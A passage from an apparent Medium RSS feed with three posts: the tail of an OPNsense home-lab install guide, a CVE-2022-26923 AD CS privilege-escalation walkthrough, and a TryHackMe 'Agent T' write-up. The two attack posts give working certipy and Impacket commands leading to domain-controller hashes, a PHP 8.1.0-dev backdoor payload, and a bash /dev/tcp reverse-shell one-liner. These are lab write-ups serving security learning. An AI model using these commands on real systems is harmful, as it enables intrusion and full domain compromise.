src="https://cdn-images-1.medium.com/max/847/1*uKes4kZJAF0U7jefyTRajQ.png" /></figure><p>Configure the first network interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGvDSW_LtZS-bgV9j-j2vg.png" /></figure><p>Configure the second interface using a custom LAN Segment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qINHCnh88260xartrGzMtg.png" /></figure><p>Click Save once you are done with the settings.</p><p>We can now turn on the VM.</p><p>Leave to run/install, this should take between 5–10 minutes depending on your system specification.</p><p>Once the first phase of the installation is done you should be greeted with a screen similar to the image below and a funny beep sound :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*WX1EfAH0ry8DdN7BpDp6Jg.png" /></figure><p>Login with the default credentials installer:opnsense and follow the steps below.</p><p>Select Continue with default keymap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Jm3NuzKcl4v-HJ9DHIw2LA.png" /></figure><p>Select Install with UFS (Unix File System)because the Unix File system is stable and works pretty well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*2ydeWUcZ5Trd2XPKjNE4dQ.png" /></figure><p>Select the hard disk to continue, in my case I will be selecting da0 &lt;VMWare Virtual S 10&gt; (20GB) which is the hard disk created previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*sTTtjbzYjOEORepHfJbsYg.png" /></figure><p>We get a final prompt to confirm our installation, select YES, and hit enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*hkNeVz-ofrGsGmbv0AOeYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*K5-imfvVnrtknmKzLbO4Tg.png" /></figure><p>Finally, we set up the root password (always remember to change your password from defaults, also use strong password/passphrase).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*3pXlT9dv5qqv5omdPqUm5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*D4not_QdGzc5iUYbV8XlEg.png" /></figure><p>Installation is now complete so we can select Complete Install to reboot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*RlTD8ouIg0wt3r5A4Ktf1w.png" /></figure><blockquote>Don’t forget to remove/unmount the installer disk — Failure to do this will lead to some funny behavior from the VM.</blockquote><h3>Setting up the adapter/interfaces.</h3><p>Log in as the root user after reboot. We are greeted with a list of menus.</p><p>To assign interfaces, select 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*UkZVaaeqZ1VZwZBHLxTrxw.png" /></figure><p>When prompted whether to install LAGGs(Link Aggregation Group — used for redundant high-speed links), select no (this is a basic network setup). Also select no for VLANS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*o63xrKi-1QK2bgRnMK198A.png" /></figure><p>Next, we are prompted to select the WAN interface — the Bridged adapter we set up earlier, which is em0 in my case (verify that the MAC address matches the MAC address generated while setting up the interface earlier).</p><p>We are prompted to do the same for the LAN interface, which is em1, in my case (verify that the MAC address also matches the MAC address generated while setting up the interface earlier).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*yXIkDs8K78QFQFCsakl0PA.png" /></figure><blockquote>We then get prompted to give the interfaces optional names, for this home lab environment we leave it to the default names, but it’s best practice to give it a relatable name in a real environment.</blockquote><p>Finally, we are prompted to check if our settings are correct — it is for us so we enter y and hit enter. This will then configure the interfaces for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*t7RsUe6wpRAQ2bENlQFsxQ.png" /></figure><p>Once this is done we will then need to configure the interfaces’ IP addresses for both our WAN and LAN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*FEOWttwCiH4fEq3K-pGs-w.png" /></figure><p>Select no when prompted if you want to enable a DHCP server on LAN, fill in the required information (IP, subnet) as shown in the screenshot below</p><p>Make sure to set the web interface to HTTP,S a self-signed cert is okay for our home lab. For the WAN you will observe that it has pretty much picked an IP address from the bridged network, so we don’t need to configure this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*GJNtVi2QHxbYstVVycsRcg.png" /></figure><p>Installation is now complete you can now reboot the VM and access the web interface via your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*njc1XjUVIQ6sK_eeWSLP7A.png" /></figure><p>Login with the credentials created during installation and enjoy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWNpSZMckIjg5lh00CyhZg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10a3057b07aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022–26923.]]></title>
            <link>https://medium.com/@akobeajiboluemmanuel/cve-2022-26923-db27d82da8ea?source=rss-bea212a595b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/db27d82da8ea</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <dc:creator><![CDATA[Emmanuel Akobe-Ajibolu]]></dc:creator>
            <pubDate>Mon, 08 Jan 2024 13:35:03 GMT</pubDate>
            <atom:updated>2024-01-08T13:38:48.829Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923">CVE-2022–26923</a>, is a vulnerability in Microsoft’s <a href="https://tryhackme.com/room/activedirectorybasics">Active Directory</a> Certificate Service (AD CS) that allows any AD user to escalate their privileges to Domain Admin in a single hop!</p><p>The basic steps for this exploit are the following:</p><ol><li>Compromise the credentials of a low-privileged AD user.</li><li>Use those credentials to enroll a new host on the domain.</li><li>Alter the DNS hostname attribute of the Computer AD Object to that of a privileged host, such as a Domain Controller.</li><li>Remove the SPN attributed to bypass the unique SPN conflict issue.</li><li>Request a Machine certificate using the default template.</li><li>Perform Kerberos authentication with the received template, now as the privileged machine account instead of our fake one.</li></ol><p>To demonstrate this attack I will be using a room built specifically for this vulnerability on Tryhackme, you can access the room <a href="https://tryhackme.com/room/cve202226923">here</a>.</p><h3>Step 1: Compromising low-privileged AD user credentials.</h3><p>This room assumes a low-privileged account has already been compromised, so the creds are provided.</p><p><strong>Enumeration.</strong></p><p>Start with enumerating the target:</p><pre>nmap -Pn &lt;target_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*fsrbp6CxCFznpI55uUJ1cQ.png" /><figcaption>Basic Nmap scan.</figcaption></figure><p>With ports like 88 and 389 open one can quickly tell that this is a domain controller. So I proceed to get more information about the target by adding the -A flag to my nmap scan.</p><pre>┌──(emmanuel㉿Emmanuel)-[~/Desktop/THM]<br>└─$ nmap -Pn -A 10.10.15.136<br>Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-07 16:13 WAT<br>Nmap scan report for 10.10.15.136<br>Host is up (0.21s latency).<br>Not shown: 987 filtered tcp ports (no-response)<br>PORT     STATE SERVICE            VERSION<br>22/tcp   open  ssh                OpenSSH for_Windows_8.1 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 87:4c:ef:4c:bf:9b:eb:32:89:e0:c4:ba:8b:23:84:c5 (RSA)<br>|   256 b7:ad:cc:81:7a:7f:72:69:09:3d:98:99:4c:ea:8d:2d (ECDSA)<br>|_  256 73:e4:2e:a5:8e:0f:5a:a7:57:27:2f:f3:d2:6c:e4:78 (ED25519)<br>53/tcp   open  domain             Simple DNS Plus<br>88/tcp   open  kerberos-sec       Microsoft Windows Kerberos (server time: 2024-01-07 15:13:55Z)<br>135/tcp  open  msrpc              Microsoft Windows RPC<br>139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn<br>389/tcp  open  ldap               Microsoft Windows Active Directory LDAP (Domain: lunar.eruca.com0., Site: Default-First-Site-Name)<br>|_ssl-date: 2024-01-07T15:16:10+00:00; 0s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:LUNDC.lunar.eruca.com<br>| Not valid before: 2023-02-02T14:48:56<br>|_Not valid after:  2024-02-02T14:48:56<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http         Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap           Microsoft Windows Active Directory LDAP (Domain: lunar.eruca.com0., Site: Default-First-Site-Name)<br>|_ssl-date: 2024-01-07T15:16:10+00:00; 0s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:LUNDC.lunar.eruca.com<br>| Not valid before: 2023-02-02T14:48:56<br>|_Not valid after:  2024-02-02T14:48:56<br>3268/tcp open  ldap               Microsoft Windows Active Directory LDAP (Domain: lunar.eruca.com0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:LUNDC.lunar.eruca.com<br>| Not valid before: 2023-02-02T14:48:56<br>|_Not valid after:  2024-02-02T14:48:56<br>|_ssl-date: 2024-01-07T15:16:10+00:00; 0s from scanner time.<br>3269/tcp open  ssl/ldap           Microsoft Windows Active Directory LDAP (Domain: lunar.eruca.com0., Site: Default-First-Site-Name)<br>|_ssl-date: 2024-01-07T15:16:10+00:00; 0s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:LUNDC.lunar.eruca.com<br>| Not valid before: 2023-02-02T14:48:56<br>|_Not valid after:  2024-02-02T14:48:56<br>3389/tcp open  ssl/ms-wbt-server?<br>| rdp-ntlm-info: <br>|   Target_Name: LUNAR<br>|   NetBIOS_Domain_Name: LUNAR<br>|   NetBIOS_Computer_Name: LUNDC<br>|   DNS_Domain_Name: lunar.eruca.com<br>|   DNS_Computer_Name: LUNDC.lunar.eruca.com<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2024-01-07T15:15:32+00:00<br>| ssl-cert: Subject: commonName=LUNDC.lunar.eruca.com<br>| Not valid before: 2024-01-06T15:01:49<br>|_Not valid after:  2024-07-07T15:01:49<br>|_ssl-date: 2024-01-07T15:16:10+00:00; 0s from scanner time.<br>Service Info: Host: LUNDC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2024-01-07T15:15:34<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 159.27 seconds</pre><p>One now have more information at hand, most of which will come in handy as oneproceed.</p><p><strong>Configuring DNS.</strong></p><p>Update your <strong><em>/etc/hosts</em></strong> file in the format shown below:</p><pre>DC_IP &lt;DNS Hostname - all in lower caps&gt; &lt;DC Hostname&gt; &lt;Enterprise CA Name&gt; &lt;domain&gt;<br>#i.e<br>10.10.15.136 lundc.lunar.eruca.com lundc lunar-LUNDC-CA lunar.eruca.com</pre><p>All information — DNS Hostname, DC Hostname, and domain are obtained from the Nmap scan above.</p><blockquote>The Enterprice CA name wasn’t included in the Nmap scan result, this information is a vital one for this attack as you will see later on. To get this I use <strong><em>certipy </em></strong>with the <strong><em>find </em></strong>tag, this is a non-standard way of getting the CA, but it works anyway.</blockquote><pre>certipy find &#39;&lt;domain&gt;/&lt;user&gt;:&lt;password&gt;@&lt;target_IP&gt;&#39;<br>#i.e<br>certipy find &#39;lunar.eruca.com/thm:Password1@@10.10.15.136&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*AA-DdL1wMrzBxnyonB88Cw.png" /><figcaption>Getting Enterprise CA Name using certipy.</figcaption></figure><p><strong>Test Certificate generation using certipy.</strong></p><p>Generate a certificate with the compromised low-privileged AD user</p><pre>certipy req &#39;&lt;domain&gt;/&lt;username&gt;:&lt;password&gt;@&lt;DNS Hostname/Domain -all in lower caps&gt;&#39; -ca &lt;Enterprise CA Name - all in uper caps&gt; -template User<br>#e.g<br><br>certipy req &#39;lunar.eruca.com/thm:Password1@@lundc.lunar.eruca.com&#39; -ca LUNAR-LUNDC-CA -template User</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*E6wiy5U9FoPlPkEeuqMQ2w.png" /><figcaption>Certificate generated.</figcaption></figure><p>One can then process to verify that the certificate is valid and can be used for Kerberos authentication — this recovers the NTLM hash associated with the UPN specified in the certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*rWWslaxzB_yvysYSoTQrLg.png" /><figcaption>Certificate verification successful.</figcaption></figure><h3>Step 2: Enrolling a new host on the domain</h3><p>A new computer should now be added to the domain to generate a Machine certificate. We don’t have to add a physical computer to the network to accomplish this, we can use Impacket’s <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py">addcomputer.py script</a> to simply make it look like we are adding a new computer.</p><pre>addcomputer.py &#39;&lt;domain&gt;/&lt;user&gt;:&lt;password&gt;&#39; -method LDAPS -computer-name &#39;&lt;computer_name&gt;&#39; -computer-pass &#39;&lt;password&gt;&#39;<br>#e.g<br>addcomputer.py &#39;lunar.eruca.com/thm:Password1@&#39; -method LDAPS -computer-name &#39;MMANU-PC&#39; -computer-pass &#39;Password123&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*0QykF5GeYTcJFq-0599shA.png" /><figcaption>Adding new domain Computer.</figcaption></figure><blockquote><strong>computer-name</strong> — The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.</blockquote><blockquote><strong>computer-pass</strong> — The password associated with our computer’s machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.</blockquote><blockquote>Machine accounts end with “$” after the name — notice from the output.</blockquote><p><strong>Generate a certificate for the newly created computer.</strong></p><pre>certipy req &#39;&lt;domain&gt;/&lt;new_PC&gt;$:&lt;new_PC_password&gt;@&lt;DNS Hostname/Domain -all in lower caps&gt;&#39; -ca &lt;Enterprise CA Name - all in upper caps&gt; -template Machine<br><br>#e.g<br>certipy req &#39;lunar.eruca.com/MMANU-PC$:Password123@lundc.lunar.eruca.com&#39; -ca LUNAR-LUNDC-CA -template Machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*w-g7n-8HAY5KH_FNIe3MJA.png" /><figcaption>Generating new PC certificate.</figcaption></figure><p>Again we verify the certificate is valid, using certipy.</p><pre>certipy auth -pfx &lt;generated_pfx_file&gt;.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*dhGGbkHKidiexl88_SFkgQ.png" /><figcaption>PC certificate verification.</figcaption></figure><h3>Step 3: Altering the DNS hostname attribute of the Computer AD Object to that of a privileged host.</h3><p>Authenticate to any domain joined PC using the compromised low-privileged user details (SSH, RDP, or shell) and start Powershell. Get the current attributes from our Computer AD Object using the Get-ADComputer cmdlet.</p><pre>Get-ADComputer &lt;new_PC_name&gt; -properties dnshostname,serviceprincipalname<br>#i.e<br>Get-ADComputer MMANU-PC -properties dnshostname,serviceprincipalname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*ZQgN9BMpJhtTSeM2bhXtSw.png" /><figcaption>ADComputer properties</figcaption></figure><h3>Step 4: Removing the SPN attribute to bypass the unique SPN conflict.</h3><pre>Set-ADComputer &lt;new_PC_name&gt; -ServicePrincipalName @{}<br>#i.e<br>Set-ADComputer MMANU-PC -ServicePrincipalName @{}</pre><p>Having flushed the Computer AD Object’s SPN, one can now set its DNS hostname attribute to that of the DC.</p><pre>Set-ADComputer &lt;new_PC_name&gt; -DnsHostName LUNDC.lunar.eruca.com<br>#i.e <br>Set-ADComputer MMANU-PC -DnsHostName LUNDC.lunar.eruca.com</pre><p>Verify that the change took place.</p><pre>Get-ADComputer &lt;new_PC_name&gt; -properties dnshostname,serviceprincipalname<br>#i.e<br>Get-ADComputer MMANU-PC -properties dnshostname,serviceprincipalname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*sJf14s6FwEWbJuBJ8v1tGQ.png" /><figcaption>ADComputer properties — Now modified.</figcaption></figure><h3>Step 5: Requesting a Machine certificate using the default template.</h3><p>Now Generate a new certificate for the added PC (MMANU-PC)</p><pre>certipy req &#39;&lt;domain&gt;/&lt;new_PC&gt;$:&lt;new_PC_password&gt;@&lt;DNS Hostname/Domain -all in lower caps&gt;&#39; -ca &lt;Enterprise CA Name - all in upper caps&gt; -template Machine<br><br>#e.g<br>certipy req &#39;lunar.eruca.com/MMANU-PC$:Password123@lundc.lunar.eruca.com&#39; -ca LUNAR-LUNDC-CA -template Machine</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*C7-Bwbn4Q8liArQOxvxCNA.png" /></figure><p>Noticed something different, although the request was for MMANU_PC certificate, the AD responded with the domain controller (LUNDC) certificate.</p><p>Verify that this certificate is working and will return the NTLM hash of the DC machine account instead.</p><pre>certipy auth -pfx &lt;DC_cert&gt;.pfx<br>#i.e<br>certipy auth -pfx lundc.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*FtUDIG1SdWbXg8ZMdID_HQ.png" /></figure><p>You should now have the NTLM hash for the machine account of LUNDC 🙂. Since LUNDC is a domain controller and one has administrative access to the DC, one has fully compromised the domain in one hop!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db27d82da8ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A quick Walk Through on Agent T (room), TryHackMe]]></title>
            <link>https://medium.com/@akobeajiboluemmanuel/a-quick-write-up-on-agent-t-room-on-tryhackme-a0f1b31464ae?source=rss-bea212a595b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0f1b31464ae</guid>
            <dc:creator><![CDATA[Emmanuel Akobe-Ajibolu]]></dc:creator>
            <pubDate>Thu, 29 Sep 2022 16:08:35 GMT</pubDate>
            <atom:updated>2022-09-30T10:03:37.392Z</atom:updated>
            <content:encoded><![CDATA[<p>You can access the room <a href="https://tryhackme.com/room/agentt">here</a>.</p><p>This room demonstrates how to hack into a server running <strong>PHP 8.1.0-dev. PHP 8.1.0-dev</strong> is<strong> </strong>known to contain an RCE backdoor.</p><p>I will be explaining how this Backdoor works while solving the room.</p><p>Let’s jump right at it.</p><h3>Enumeration.</h3><ul><li><strong>Basic nmap scan</strong></li></ul><pre>nmap &lt;target_ip_here&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*01NPSCAwXXzuCs-f8i0-zA.png" /></figure><blockquote>💡 port 80 is open, meaning there is a site running on the IP</blockquote><p>We proceed to access the website for further enumeration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uOh9DqRnPszqdaEn_EijZg.png" /></figure><p>Navigating through the site revealed nothing — showing it more of a static site.</p><ul><li><strong>Next, Service and version scan:</strong></li></ul><pre>nmap -sV &lt;target_ip_here&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*Um-YPjJA7Dr5KbIV2yF_bA.png" /></figure><p>From the scan result one notable output is the PHP 8.1.0-dev which is the version of the php.</p><p>Researching on this using google, reveals this version of PHP has a remote code execution vuln/backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5U4QbBHtd2Bkaf2ETbG0gA.png" /></figure><p>Following the Exploit-db link, we can see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6NhURLSTyP7_IQhA6aSSQ.png" /></figure><p>You can follow this <a href="https://flast101.github.io/php-8.1.0-dev-backdoor-rce/">link</a> to read a great blog post by <a href="https://github.com/flast101">flast101</a> where he did justice in explaining everything you need to know about this PHP RCE backdoor.</p><p>Major takeaways from the blog poston exploiting this backdoor include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*lsJlUkRzB4beBngq5xx4PA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eQNUZu3xvLrgsikQ-Jqig.png" /></figure><p>This simply means that remote code can be executed on any server running this PHP version by sending a request containing the User-Agentt parameter with it string value with zerodium to the server.</p><h3>Exploitation.</h3><p>This might be a good time to open up burp. Proceed to capture and send the request to burp repeater.</p><p>We now add User-Agentt: zerodiumsystem(&#39;ls -la&#39;); to the request.</p><p>ls -la is the command we want to execute on the server using the User-Agentt backdoor:</p><p>Sending this request, we have:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNCHtFkREX5LehiySTdt7g.png" /></figure><p>It worked!</p><p>From the image above we can see the file content in the directory listed — nice.</p><p>Next, we proceed to spawn a reverse shell using a bash one-liner.</p><p>First, set up your Netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*OtCJBO0tpX01V5DDFtBpjA.png" /></figure><blockquote>💡 I chose to listen on port 4444</blockquote><p>Then set your payload using the one-liner below and send:</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/[your_ip_here]/[your_desired_port_here_also] 0&gt;&amp;1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1_2qJ16UCCHhWtj1eZIEOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*kdeKonfOPFbWT-Ys2LkpNA.png" /></figure><p>We got a reverse shell!</p><p>Nice 🙂.</p><p>We can now proceed to find the room flag by moving to the root directory and listing its contents.</p><p>Finally, we read the content of the flag.txt file using the cat command</p><p>Thanks, <a href="https://mobile.twitter.com/blacknotesec">Blacknotesec</a> and TryHackMe for this awesome room, and thanks guys for following this walkthrough — till next time! 🙂</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0f1b31464ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>